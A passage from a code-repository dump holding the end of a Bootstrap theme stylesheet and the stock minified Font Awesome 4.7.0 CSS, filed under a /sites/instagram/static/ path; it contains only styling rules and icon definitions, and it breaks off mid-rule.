100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0, #f2dede), to(#ebcccc));background-image:linear-gradient(to bottom, #f2dede 0, #ebcccc 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffebcccc', GradientType=0)}.well{background-image:-webkit-linear-gradient(top, #e8e8e8 0, #f5f5f5 100%);background-image:-o-linear-gradient(top, #e8e8e8 0, #f5f5f5 100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0, #e8e8e8), to(#f5f5f5));background-image:linear-gradient(to bottom, #e8e8e8 0, #f5f5f5 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe8e8e8', endColorstr='#fff5f5f5', GradientType=0);border-color:#dcdcdc;-webkit-box-shadow:inset 0 1px 3px rgba(0,0,0,0.05),0 1px 0 rgba(255,255,255,0.1);box-shadow:inset 0 1px 3px rgba(0,0,0,0.05),0 1px 0 rgba(255,255,255,0.1)} -------------------------------------------------------------------------------- /sites/instagram/static/font-awesome.min.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome 3 | * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) 4 | */@font-face{font-family:'FontAwesome';src:url("fontawesome-webfont.eot");src:url("fontawesome-webfont-1.eot#iefix&v=4.7.0") format('embedded-opentype'),url("fontawesome-webfont.woff2") format('woff2'),url("fontawesome-webfont.woff") format('woff'),url("fontawesome-webfont.ttf") format('truetype'),url("fontawesome-webfont.svg#fontawesomeregular") format('svg');font-weight:normal;font-style:normal}.fa{display:inline-block;font:normal normal normal 14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-lg{font-size:1.33333333em;line-height:.75em;vertical-align:-15%}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-fw{width:1.28571429em;text-align:center}.fa-ul{padding-left:0;margin-left:2.14285714em;list-style-type:none}.fa-ul>li{position:relative}.fa-li{position:absolute;left:-2.14285714em;width:2.14285714em;top:.14285714em;text-align:center}.fa-li.fa-lg{left:-1.85714286em}.fa-border{padding:.2em .25em .15em;border:solid .08em #eee;border-radius:.1em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left{margin-right:.3em}.fa.fa-pull-right{margin-left:.3em}.pull-right{float:right}.pull-left{float:left}.fa.pull-left{margin-right:.3em}.fa.pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s infinite linear;animation:fa-spin 2s infinite linear}.fa-pulse{-webkit-animation:fa-spin 1s infinite steps(8);animation:fa-spin 1s infinite steps(8)}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}.fa-rotate-90{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";-webkit-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";-webkit-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";-webkit-transform:rotate(270deg);-ms-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";-webkit-transform:scale(-1, 1);-ms-transform:scale(-1, 1);transform:scale(-1, 1)}.fa-flip-vertical{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";-webkit-transform:scale(1, -1);-ms-transform:scale(1, -1);transform:scale(1, -1)}:root .fa-rotate-90,:root .fa-rotate-180,:root .fa-rotate-270,:root .fa-flip-horizontal,:root .fa-flip-vertical{filter:none}.fa-stack{position:relative;display:inline-block;width:2em;height:2em;line-height:2em;vertical-align:middle}.fa-stack-1x,.fa-stack-2x{position:absolute;left:0;width:100%;text-align:center}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:#fff}.fa-glass:before{content:"\f000"}.fa-music:before{content:"\f001"}.fa-search:before{content:"\f002"}.fa-envelope-o:before{content:"\f003"}.fa-heart:before{content:"\f004"}.fa-star:before{content:"\f005"}.fa-star-o:before{content:"\f006"}.fa-user:before{content:"\f007"}.fa-film:before{content:"\f008"}.fa-th-large:before{content:"\f009"}.fa-th:before{content:"\f00a"}.fa-th-list:before{content:"\f00b"}.fa-check:before{content:"\f00c"}.fa-remove:before,.fa-close:before,.fa-times:before{content:"\f00d"}.fa-search-plus:before{content:"\f00e"}.fa-search-minus:before{content:"\f010"}.fa-power-off:before{content:"\f011"}.fa-signal:before{content:"\f012"}.fa-gear:before,.fa-cog:before{content:"\f013"}.fa-trash-o:before{content:"\f014"}.fa-home:before{content:"\f015"}.fa-file-o:before{content:"\f016"}.fa-clock-o:before{content:"\f017"}.fa-road:before{content:"\f018"}.fa-download:before{content:"\f019"}.fa-arrow-circle-o-down:before{content:"\f01a"}.fa-arrow-circle-o-up:before{content:"\f01b"}.fa-inbox:before{content:"\f01c"}.fa-play-circle-o:before{content:"\f01d"}.fa-rotate-right:before,.fa-repeat:before{content:"\f01e"}.fa-refresh:before{content:"\f021"}.fa-list-alt:before{content:"\f022"}.fa-lock:before{content:"\f023"}.fa-flag:before{content:"\f024"}.fa-headphones:before{content:"\f025"}.fa-volume-off:before{content:"\f026"}.fa-volume-down:before{content:"\f027"}.fa-volume-up:before{content:"\f028"}.fa-qrcode:before{content:"\f029"}.fa-barcode:before{content:"\f02a"}.fa-tag:before{content:"\f02b"}.fa-tags:before{content:"\f02c"}.fa-book:before{content:"\f02d"}.fa-bookmark:before{content:"\f02e"}.fa-print:before{content:"\f02f"}.fa-camera:before{content:"\f030"}.fa-font:before{content:"\f031"}.fa-bold:before{content:"\f032"}.fa-italic:before{content:"\f033"}.fa-text-height:before{content:"\f034"}.fa-text-width:before{content:"\f035"}.fa-align-left:before{content:"\f036"}.fa-align-center:before{content:"\f037"}.fa-align-right:before{content:"\f038"}.fa-align-justify:before{content:"\f039"}.fa-list:before{content:"\f03a"}.fa-dedent:before,.fa-outdent:before{content:"\f03b"}.fa-indent:before{content:"\f03c"}.fa-video-camera:before{content:"\f03d"}.fa-photo:before,.fa-image:before,.fa-picture-o:before{content:"\f03e"}.fa-pencil:before{content:"\f040"}.fa-map-marker:before{content:"\f041"}.fa-adjust:before{content:"\f042"}.fa-tint:before{content:"\f043"}.fa-edit:before,.fa-pencil-square-o:before{content:"\f044"}.fa-share-square-o:before{content:"\f045"}.fa-check-square-o:before{content:"\f046"}.fa-arrows:before{content:"\f047"}.fa-step-backward:before{content:"\f048"}.fa-fast-backward:before{content:"\f049"}.fa-backward:before{content:"\f04a"}.fa-play:before{content:"\f04b"}.fa-pause:before{content:"\f04c"}.fa-stop:before{content:"\f04d"}.fa-forward:before{content:"\f04e"}.fa-fast-forward:before{content:"\f050"}.fa-step-forward:before{content:"\f051"}.fa-eject:before{content:"\f052"}.fa-chevron-left:before{content:"\f053"}.fa-chevron-right:before{content:"\f054"}.fa-plus-circle:before{content:"\f055"}.fa-minus-circle:before{content:"\f056"}.fa-times-circle:before{content:"\f057"}.fa-check-circle:before{content:"\f058"}.fa-question-circle:before{content:"\f059"}.fa-info-circle:before{content:"\f05a"}.fa-crosshairs:before{content:"\f05b"}.fa-times-circle-o:before{content:"\f05c"}.fa-check-circle-o:before{content:"\f05d"}.fa-ban:before{content:"\f05e"}.fa-arrow-left:before{content:"\f060"}.fa-arrow-right:before{content:"\f061"}.fa-arrow-up:before{content:"\f062"}.fa-arrow-down:before{content:"\f063"}.fa-mail-forward:before,.fa-share:before{content:"\f064"}.fa-expand:before{content:"\f065"}.fa-compress:before{content:"\f066"}.fa-plus:before{content:"\f067"}.fa-minus:before{content:"\f068"}.fa-asterisk:before{content:"\f069"}.fa-exclamation-circle:before{content:"\f06a"}.fa-gift:before{content:"\f06b"}.fa-leaf:before{content:"\f06c"}.fa-fire:before{content:"\f06d"}.fa-eye:before{content:"\f06e"}.fa-eye-slash:before{content:"\f070"}.fa-warning:before,.fa-exclamation-triangle:before{content:"\f071"}.fa-plane:before{content:"\f072"}.fa-calendar:before{content:"\f073"}.fa-random:before{content:"\f074"}.fa-comment:before{content:"\f075"}.fa-magnet:before{content:"\f076"}.fa-chevron-up:before{content:"\f077"}.fa-chevron-down:before{content:"\f078"}.fa-retweet:before{content:"\f079"}.fa-shopping-cart:before{content:"\f07a"}.fa-folder:before{content:"\f07b"}.fa-folder-open:before{content:"\f07c"}.fa-arrows-v:before{content:"\f07d"}.fa-arrows-h:before{content:"\f07e"}.fa-bar-chart-o:before,.fa-bar-chart:before{content:"\f080"}.fa-twitter-square:before{content:"\f081"}.fa-facebook-square:before{content:"\f082"}.fa-camera-retro:before{content:"\f083"}.fa-key:before{content:"\f084"}.fa-gears:before,.fa-cogs:before{content:"\f085"}.fa-comments:before{content:"\f086"}.fa-thumbs-o-up:before{content:"\f087"}.fa-thumbs-o-down:before{content:"\f088"}.fa-star-half:before{content:"\f089"}.fa-heart-o:before{content:"\f08a"}.fa-sign-out:before{content:"\f08b"}.fa-linkedin-square:before{content:"\f08c"}.fa-thumb-tack:before{content:"\f08d"}.fa-external-link:before{content:"\f08e"}.fa-sign-in:before{content:"\f090"}.fa-trophy:before{content:"\f091"}.fa-github-square:before{content:"\f092"}.fa-upload:before{content:"\f093"}.fa-lemon-o:before{content:"\f094"}.fa-phone:before{content:"\f095"}.fa-square-o:before{content:"\f096"}.fa-bookmark-o:before{content:"\f097"}.fa-phone-square:before{content:"\f098"}.fa-twitter:before{content:"\f099"}.fa-facebook-f:before,.fa-facebook:before{content:"\f09a"}.fa-github:before{content:"\f09b"}.fa-unlock:before{content:"\f09c"}.fa-credit-card:before{content:"\f09d"}.fa-feed:before,.fa-rss:before{content:"\f09e"}.fa-hdd-o:before{content:"\f0a0"}.fa-bullhorn:before{content:"\f0a1"}.fa-bell:before{content:"\f0f3"}.fa-certificate:before{content:"\f0a3"}.fa-hand-o-right:before{content:"\f0a4"}.fa-hand-o-left:before{content:"\f0a5"}.fa-hand-o-up:before{content:"\f0a6"}.fa-hand-o-down:before{content:"\f0a7"}.fa-arrow-circle-left:before{content:"\f0a8"}.fa-arrow-circle-right:before{content:"\f0a9"}.fa-arrow-circle-up:before{content:"\f0aa"}.fa-arrow-circle-down:before{content:"\f0ab"}.fa-globe:before{content:"\f0ac"}.fa-wrench:before{content:"\f0ad"}.fa-tasks:before{content:"\f0ae"}.fa-filter:before{content:"\f0b0"}.fa-briefcase:before{content:"\f0b1"}.fa-arrows-alt:before{content:"\f0b2"}.fa-group:before,.fa-users:before{content:"\f0c0"}.fa-chain:before,.fa-link:before{content:"\f0c1"}.fa-cloud:before{content:"\f0c2"}.fa-flask:before{content:"\f0c3"}.fa-cut:before,.fa-scissors:before{content:"\f0c4"}.fa-copy:before,.fa-files-o:before{content:"\f0c5"}.fa-paperclip:before{content:"\f0c6"}.fa-save:before,.fa-floppy-o:before{content:"\f0c7"}.fa-square:before{content:"\f0c8"}.fa-navicon:before,.fa-reorder:before,.fa-bars:before{content:"\f0c9"}.fa-list-ul:before{content:"\f0ca"}.fa-list-ol:before{content:"\f0cb"}.fa-strikethrough:before{content:"\f0cc"}.fa-underline:before{content:"\f0cd"}.fa-table:before{content:"\f0ce"}.fa-magic:before{content:"\f0d0"}.fa-truck:before{content:"\f0d1"}.fa-pinterest:before{content:"\f0d2"}.fa-pinterest-square:before{content:"\f0d3"}.fa-google-plus-square:before{content:"\f0d4"}.fa-google-plus:before{content:"\f0d5"}.fa-money:before{content:"\f0d6"}.fa-caret-down:before{content:"\f0d7"}.fa-caret-up:before{content:"\f0d8"}.fa-caret-left:before{content:"\f0d9"}.fa-caret-right:before{content:"\f0da"}.fa-columns:before{content:"\f0db"}.fa-unsorted:before,.fa-sort:before{content:"\f0dc"}.fa-sort-down:before,.fa-sort-desc:before{content:"\f0dd"}.fa-sort-up:before,.fa-sort-asc:before{content:"\f0de"}.fa-envelope:before{content:"\f0e0"}.fa-linkedin:before{content:"\f0e1"}.fa-rotate-left:before,.fa-undo:before{content:"\f0e2"}.fa-legal:before,.fa-gavel:before{content:"\f0e3"}.fa-dashboard:before,.fa-tachometer:before{content:"\f0e4"}.fa-comment-o:before{content:"\f0e5"}.fa-comments-o:before{content:"\f0e6"}.fa-flash:before,.fa-bolt:before{content:"\f0e7"}.fa-sitemap:before{content:"\f0e8"}.fa-umbrella:before{content:"\f0e9"}.fa-paste:before,.fa-clipboard:before{content:"\f0ea"}.fa-lightbulb-o:before{content:"\f0eb"}.fa-exchange:before{content:"\f0ec"}.fa-cloud-download:before{content:"\f0ed"}.fa-cloud-upload:before{content:"\f0ee"}.fa-user-md:before{content:"\f0f0"}.fa-stethoscope:before{content:"\f0f1"}.fa-suitcase:before{content:"\f0f2"}.fa-bell-o:before{content:"\f0a2"}.fa-coffee:before{content:"\f0f4"}.fa-cutlery:before{content:"\f0f5"}.fa-file-text-o:before{content:"\f0f6"}.fa-building-o:before{content:"\f0f7"}.fa-hospital-o:before{content:"\f0f8"}.fa-ambulance:before{content:"\f0f9"}.fa-medkit:before{content:"\f0fa"}.fa-fighter-jet:before{content:"\f0fb"}.fa-beer:before{content:"\f0fc"}.fa-h-square:before{content:"\f0fd"}.fa-plus-square:before{content:"\f0fe"}.fa-angle-double-left:before{content:"\f100"}.fa-angle-double-right:before{content:"\f101"}.fa-angle-double-up:before{content:"\f102"}.fa-angle-double-down:before{content:"\f103"}.fa-angle-left:before{content:"\f104"}.fa-angle-right:before{content:"\f105"}.fa-angle-up:before{content:"\f106"}.fa-angle-down:before{content:"\f107"}.fa-desktop:before{content:"\f108"}.fa-laptop:before{content:"\f109"}.fa-tablet:before{content:"\f10a"}.fa-mobile-phone:before,.fa-mobile:before{content:"\f10b"}.fa-circle-o:before{content:"\f10c"}.fa-quote-left:before{content:"\f10d"}.fa-quote-right:before{content:"\f10e"}.fa-spinner:before{content:"\f110"}.fa-circle:before{content:"\f111"}.fa-mail-reply:before,.fa-reply:before{content:"\f112"}.fa-github-alt:before{content:"\f113"}.fa-folder-o:before{content:"\f114"}.fa-folder-open-o:before{content:"\f115"}.fa-smile-o:before{content:"\f118"}.fa-frown-o:before{content:"\f119"}.fa-meh-o:before{content:"\f11a"}.fa-gamepad:before{content:"\f11b"}.fa-keyboard-o:before{content:"\f11c"}.fa-flag-o:before{content:"\f11d"}.fa-flag-checkered:before{content:"\f11e"}.fa-terminal:before{content:"\f120"}.fa-code:before{content:"\f121"}.fa-mail-reply-all:before,.fa-reply-all:before{content:"\f122"}.fa-star-half-empty:before,.fa-star-half-full:before,.fa-star-half-o:before{content:"\f123"}.fa-location-arrow:before{content:"\f124"}.fa-crop:before{content:"\f125"}.fa-code-fork:before{content:"\f126"}.fa-unlink:before,.fa-chain-broken:before{content:"\f127"}.fa-question:before{content:"\f128"}.fa-info:before{content:"\f129"}.fa-exclamation:before{content:"\f12a"}.fa-superscript:before{content:"\f12b"}.fa-subscript:before{content:"\f12c"}.fa-eraser:before{content:"\f12d"}.fa-puzzle-piece:before{content:"\f12e"}.fa-microphone:before{content:"\f130"}.fa-microphone-slash:before{content:"\f131"}.fa-shield:before{content:"\f132"}.fa-calendar-o:before{content:"\f133"}.fa-fire-extinguisher:before{content:"\f134"}.fa-rocket:before{content:"\f135"}.fa-maxcdn:before{content:"\f136"}.fa-chevron-circle-left:before{content:"\f137"}.fa-chevron-circle-right:before{content:"\f138"}.fa-chevron-circle-up:before{content:"\f139"}.fa-chevron-circle-down:before{content:"\f13a"}.fa-html5:before{content:"\f13b"}.fa-css3:before{content:"\f13c"}.fa-anchor:before{content:"\f13d"}.fa-unlock-alt:before{content:"\f13e"}.fa-bullseye:before{content:"\f140"}.fa-ellipsis-h:before{content:"\f141"}.fa-ellipsis-v:before{content:"\f142"}.fa-rss-square:before{content:"\f143"}.fa-play-circle:before{content:"\f144"}.fa-ticket:before{content:"\f145"}.fa-minus-square:before{content:"\f146"}.fa-minus-square-o:before{content:"\f147"}.fa-level-up:before{content:"\f148"}.fa-level-down:before{content:"\f149"}.fa-check-square:before{content:"\f14a"}.fa-pencil-square:before{content:"\f14b"}.fa-external-link-square:before{content:"\f14c"}.fa-share-square:before{content:"\f14d"}.fa-compass:before{content:"\f14e"}.fa-toggle-down:before,.fa-caret-square-o-down:before{content:"\f150"}.fa-toggle-up:before,.fa-caret-square-o-up:before{content:"\f151"}.fa-toggle-right:before,.fa-caret-square-o-right:before{content:"\f152"}.fa-euro:before,.fa-eur:before{content:"\f153"}.fa-gbp:before{content:"\f154"}.fa-dollar:before,.fa-usd:before{content:"\f155"}.fa-rupee:before,.fa-inr:before{content:"\f156"}.fa-cny:before,.fa-rmb:before,.fa-yen:before,.fa-jpy:before{content:"\f157"}.fa-ruble:before,.fa-rouble:before,.fa-rub:before{content:"\f158"}.fa-won:before,.fa-krw:before{content:"\f159"}.fa-bitcoin:before,.fa-btc:before{content:"\f15a"}.fa-file:before{content:"\f15b"}.fa-file-text:before{content:"\f15c"}.fa-sort-alpha-asc:before{content:"\f15d"}.fa-sort-alpha-desc:before{content:"\f15e"}.fa-sort-amount-asc:before{content:"\f160"}.fa-sort-amount-desc:before{content:"\f161"}.fa-sort-numeric-asc:before{content:"\f162"}.fa-sort-numeric-desc:before{content:"\f163"}.fa-thumbs-up:before{content:"\f164"}.fa-thumbs-down:before{content:"\f165"}.fa-youtube-square:before{content:"\f166"}.fa-youtube:before{content:"\f167"}.fa-xing:before{content:"\f168"}.fa-xing-square:before{content:"\f169"}.fa-youtube-play:before{content:"\f16a"}.fa-dropbox:before{content:"\f16b"}.fa-stack-overflow:before{content:"\f16c"}.fa-instagram:before{content:"\f16d"}.fa-flickr:before{content:"\f16e"}.fa-adn:before{content:"\f170"}.fa-bitbucket:before{content:"\f171"}.fa-bitbucket-square:before{content:"\f172"}.fa-tumblr:before{content:"\f173"}.fa-tumblr-square:before{content:"\f174"}.fa-long-arrow-down:before{content:"\f175"}.fa-long-arrow-up:before{content:"\f176"}.fa-long-arrow-left:before{content:"\f177"}.fa-long-arrow-right:before{content:"\f178"}.fa-apple:before{content:"\f179"}.fa-windows:before{content:"\f17a"}.fa-android:before{content:"\f17b"}.fa-linux:before{content:"\f17c"}.fa-dribbble:before{content:"\f17d"}.fa-skype:before{content:"\f17e"}.fa-foursquare:before{content:"\f180"}.fa-trello:before{content:"\f181"}.fa-female:before{content:"\f182"}.fa-male:before{content:"\f183"}.fa-gittip:before,.fa-gratipay:before{content:"\f184"}.fa-sun-o:before{content:"\f185"}.fa-moon-o:before{content:"\f186"}.fa-archive:before{content:"\f187"}.fa-bug:before{content:"\f188"}.fa-vk:before{content:"\f189"}.fa-weibo:before{content:"\f18a"}.fa-renren:before{content:"\f18b"}.fa-pagelines:before{content:"\f18c"}.fa-stack-exchange:before{content:"\f18d"}.fa-arrow-circle-o-right:before{content:"\f18e"}.fa-arrow-circle-o-left:before{content:"\f190"}.fa-toggle-left:before,.fa-caret-square-o-left:before{content:"\f191"}.fa-dot-circle-o:before{content:"\f192"}.fa-wheelchair:before{content:"\f193"}.fa-vimeo-square:before{content:"\f194"}.fa-turkish-lira:before,.fa-try:before{content:"\f195"}.fa-plus-square-o:before{content:"\f196"}.fa-space-shuttle:before{content:"\f197"}.fa-slack:before{content:"\f198"}.fa-envelope-square:before{content:"\f199"}.fa-wordpress:before{content:"\f19a"}.fa-openid:before{content:"\f19b"}.fa-institution:before,.fa-bank:before,.fa-university:before{content:"\f19c"}.fa-mortar-board:before,.fa-graduation-cap:before{content:"\f19d"}.fa-yahoo:before{content:"\f19e"}.fa-google:before{content:"\f1a0"}.fa-reddit:before{content:"\f1a1"}.fa-reddit-square:before{content:"\f1a2"}.fa-stumbleupon-circle:before{content:"\f1a3"}.fa-stumbleupon:before{content:"\f1a4"}.fa-delicious:before{content:"\f1a5"}.fa-digg:before{content:"\f1a6"}.fa-pied-piper-pp:before{content:"\f1a7"}.fa-pied-piper-alt:before{content:"\f1a8"}.fa-drupal:before{content:"\f1a9"}.fa-joomla:before{content:"\f1aa"}.fa-language:before{content:"\f1ab"}.fa-fax:before{content:"\f1ac"}.fa-building:before{content:"\f1ad"}.fa-child:before{content:"\f1ae"}.fa-paw:before{content:"\f1b0"}.fa-spoon:before{content:"\f1b1"}.fa-cube:before{content:"\f1b2"}.fa-cubes:before{content:"\f1b3"}.fa-behance:before{content:"\f1b4"}.fa-behance-square:before{content:"\f1b5"}.fa-steam:before{content:"\f1b6"}.fa-steam-square:before{content:"\f1b7"}.fa-recycle:before{content:"\f1b8"}.fa-automobile:before,.fa-car:before{content:"\f1b9"}.fa-cab:before,.fa-taxi:before{content:"\f1ba"}.fa-tree:before{content:"\f1bb"}.fa-spotify:before{content:"\f1bc"}.fa-deviantart:before{content:"\f1bd"}.fa-soundcloud:before{content:"\f1be"}.fa-database:before{content:"\f1c0"}.fa-file-pdf-o:before{content:"\f1c1"}.fa-file-word-o:before{content:"\f1c2"}.fa-file-excel-o:before{content:"\f1c3"}.fa-file-powerpoint-o:before{content:"\f1c4"}.fa-file-photo-o:before,.fa-file-picture-o:before,.fa-file-image-o:before{content:"\f1c5"}.fa-file-zip-o:before,.fa-file-archive-o:before{content:"\f1c6"}.fa-file-sound-o:before,.fa-file-audio-o:before{content:"\f1c7"}.fa-file-movie-o:before,.fa-file-video-o:before{content:"\f1c8"}.fa-file-code-o:before{content:"\f1c9"}.fa-vine:before{content:"\f1ca"}.fa-codepen:before{content:"\f1cb"}.fa-jsfiddle:before{content:"\f1cc"}.fa-life-bouy:before,.fa-life-buoy:before,.fa-life-saver:before,.fa-support:before,.fa-life-ring:before{content:"\f1cd"}.fa-circle-o-notch:before{content:"\f1ce"}.fa-ra:before,.fa-resistance:before,.fa-rebel:before{content:"\f1d0"}.fa-ge:before,.fa-empire:before{content:"\f1d1"}.fa-git-square:before{content:"\f1d2"}.fa-git:before{content:"\f1d3"}.fa-y-combinator-square:before,.fa-yc-square:before,.fa-hacker-news:before{content:"\f1d4"}.fa-tencent-weibo:before{content:"\f1d5"}.fa-qq:before{content:"\f1d6"}.fa-wechat:before,.fa-weixin:before{content:"\f1d7"}.fa-send:before,.fa-paper-plane:before{content:"\f1d8"}.fa-send-o:before,.fa-paper-plane-o:before{content:"\f1d9"}.fa-history:before{content:"\f1da"}.fa-circle-thin:before{content:"\f1db"}.fa-header:before{content:"\f1dc"}.fa-paragraph:before{content:"\f1dd"}.fa-sliders:before{content:"\f1de"}.fa-share-alt:before{content:"\f1e0"}.fa-share-alt-square:before{content:"\f1e1"}.fa-bomb:before{content:"\f1e2"}.fa-soccer-ball-o:before,.fa-futbol-o:before{content:"\f1e3"}.fa-tty:before{content:"\f1e4"}.fa-binoculars:before{content:"\f1e5"}.fa-plug:before{content:"\f1e6"}.fa-slideshare:before{content:"\f1e7"}.fa-twitch:before{content:"\f1e8"}.fa-yelp:before{content:"\f1e9"}.fa-newspaper-o:before{content:"\f1ea"}.fa-wifi:before{content:"\f1eb"}.fa-calculator:before{content:"\f1ec"}.fa-paypal:before{content:"\f1ed"}.fa-google-wallet:before{content:"\f1ee"}.fa-cc-visa:before{content:"\f1f0"}.fa-cc-mastercard:before{content:"\f1f1"}.fa-cc-discover:before{content:"\f1f2"}.fa-cc-amex:before{content:"\f1f3"}.fa-cc-paypal:before{content:"\f1f4"}.fa-cc-stripe:before{content:"\f1f5"}.fa-bell-slash:before{content:"\f1f6"}.fa-bell-slash-o:before{content:"\f1f7"}.fa-trash:before{content:"\f1f8"}.fa-copyright:before{content:"\f1f9"}.fa-at:before{content:"\f1fa"}.fa-eyedropper:before{content:"\f1fb"}.fa-paint-brush:before{content:"\f1fc"}.fa-birthday-cake:before{content:"\f1fd"}.fa-area-chart:before{content:"\f1fe"}.fa-pie-chart:before{content:"\f200"}.fa-line-chart:before{content:"\f201"}.fa-lastfm:before{content:"\f202"}.fa-lastfm-square:before{content:"\f203"}.fa-toggle-off:before{content:"\f204"}.fa-toggle-on:before{content:"\f205"}.fa-bicycle:before{content:"\f206"}.fa-bus:before{content:"\f207"}.fa-ioxhost:before{content:"\f208"}.fa-angellist:before{content:"\f209"}.fa-cc:before{content:"\f20a"}.fa-shekel:before,.fa-sheqel:before,.fa-ils:before{content:"\f20b"}.fa-meanpath:before{content:"\f20c"}.fa-buysellads:before{content:"\f20d"}.fa-connectdevelop:before{content:"\f20e"}.fa-dashcube:before{content:"\f210"}.fa-forumbee:before{content:"\f211"}.fa-leanpub:before{content:"\f212"}.fa-sellsy:before{content:"\f213"}.fa-shirtsinbulk:before{content:"\f214"}.fa-simplybuilt:before{content:"\f215"}.fa-skyatlas:before{content:"\f216"}.fa-cart-plus:before{content:"\f217"}.fa-cart-arrow-down:before{content:"\f218"}.fa-diamond:before{content:"\f219"}.fa-ship:before{content:"\f21a"}.fa-user-secret:before{content:"\f21b"}.fa-motorcycle:before{content:"\f21c"}.fa-street-view:before{content:"\f21d"}.fa-heartbeat:before{content:"\f21e"}.fa-venus:before{content:"\f221"}.fa-mars:before{content:"\f222"}.fa-mercury:before{content:"\f223"}.fa-intersex:before,.fa-transgender:before{content:"\f224"}.fa-transgender-alt:before{content:"\f225"}.fa-venus-double:before{content:"\f226"}.fa-mars-double:before{content:"\f227"}.fa-venus-mars:before{content:"\f228"}.fa-mars-stroke:before{content:"\f229"}.fa-mars-stroke-v:before{content:"\f22a"}.fa-mars-stroke-h:before{content:"\f22b"}.fa-neuter:before{content:"\f22c"}.fa-genderless:before{content:"\f22d"}.fa-facebook-official:before{content:"\f230"}.fa-pinterest-p:before{content:"\f231"}.fa-whatsapp:before{content:"\f232"}.fa-server:before{content:"\f233"}.fa-user-plus:before{content:"\f234"}.fa-user-times:before{content:"\f235"}.fa-hotel:before,.fa-bed:before{content:"\f236"}.fa-viacoin:before{content:"\f237"}.fa-train:before{content:"\f238"}.fa-subway:before{content:"\f239"}.fa-medium:before{content:"\f23a"}.fa-yc:before,.fa-y-combinator:before{content:"\f23b"}.fa-optin-monster:before{content:"\f23c"}.fa-opencart:before{content:"\f23d"}.fa-expeditedssl:before{content:"\f23e"}.fa-battery-4:before,.fa-battery:before,.fa-battery-full:before{content:"\f240"}.fa-battery-3:before,.fa-battery-three-quarters:before{content:"\f241"}.fa-battery-2:before,.fa-battery-half:before{content:"\f242"}.fa-battery-1:before,.fa-battery-quarter:before{content:"\f243"}.fa-battery-0:before,.fa-battery-empty:before{content:"\f244"}.fa-mouse-pointer:before{content:"\f245"}.fa-i-cursor:before{content:"\f246"}.fa-object-group:before{content:"\f247"}.fa-object-ungroup:before{content:"\f248"}.fa-sticky-note:before{content:"\f249"}.fa-sticky-note-o:before{content:"\f24a"}.fa-cc-jcb:before{content:"\f24b"}.fa-cc-diners-club:before{content:"\f24c"}.fa-clone:before{content:"\f24d"}.fa-balance-scale:before{content:"\f24e"}.fa-hourglass-o:before{content:"\f250"}.fa-hourglass-1:before,.fa-hourglass-start:before{content:"\f251"}.fa-hourglass-2:before,.fa-hourglass-half:before{content:"\f252"}.fa-hourglass-3:before,.fa-hourglass-end:before{content:"\f253"}.fa-hourglass:before{content:"\f254"}.fa-hand-grab-o:before,.fa-hand-rock-o:before{content:"\f255"}.fa-hand-stop-o:before,.fa-hand-paper-o:before{content:"\f256"}.fa-hand-scissors-o:before{content:"\f257"}.fa-hand-lizard-o:before{content:"\f258"}.fa-hand-spock-o:before{content:"\f259"}.fa-hand-pointer-o:before{content:"\f25a"}.fa-hand-peace-o:before{content:"\f25b"}.fa-trademark:before{content:"\f25c"}.fa-registered:before{content:"\f25d"}.fa-creative-commons:before{content:"\f25e"}.fa-gg:before{content:"\f260"}.fa-gg-circle:before{content:"\f261"}.fa-tripadvisor:before{content:"\f262"}.fa-odnoklassniki:before{content:"\f263"}.fa-odnoklassniki-square:before{content:"\f264"}.fa-get-pocket:before{content:"\f265"}.fa-wikipedia-w:before{content:"\f266"}.fa-safari:before{content:"\f267"}.fa-chrome:before{content:"\f268"}.fa-firefox:before{content:"\f269"}.fa-opera:before{content:"\f26a"}.fa-internet-explorer:before{content:"\f26b"}.fa-tv:before,.fa-television:before{content:"\f26c"}.fa-contao:before{content:"\f26d"}.fa-500px:before{content:"\f26e"}.fa-amazon:before{content:"\f270"}.fa-calendar-plus-o:before{content:"\f271"}.fa-calendar-minus-o:before{content:"\f272"}.fa-calendar-times-o:before{content:"\f273"}.fa-calendar-check-o:before{content:"\f274"}.fa-industry:before{content:"\f275"}.fa-map-pin:before{content:"\f276"}.fa-map-signs:before{content:"\f277"}.fa-map-o:before{content:"\f278"}.fa-map:before{content:"\f279"}.fa-commenting:before{content:"\f27a"}.fa-commenting-o:before{content:"\f27b"}.fa-houzz:before{content:"\f27c"}.fa-vimeo:before{content:"\f27d"}.fa-black-tie:before{content:"\f27e"}.fa-fonticons:before{content:"\f280"}.fa-reddit-alien:before{content:"\f281"}.fa-edge:before{content:"\f282"}.fa-credit-card-alt:before{content:"\f283"}.fa-codiepie:before{content:"\f284"}.fa-modx:before{content:"\f285"}.fa-fort-awesome:before{content:"\f286"}.fa-usb:before{content:"\f287"}.fa-product-hunt:before{content:"\f288"}.fa-mixcloud:before{content:"\f289"}.fa-scr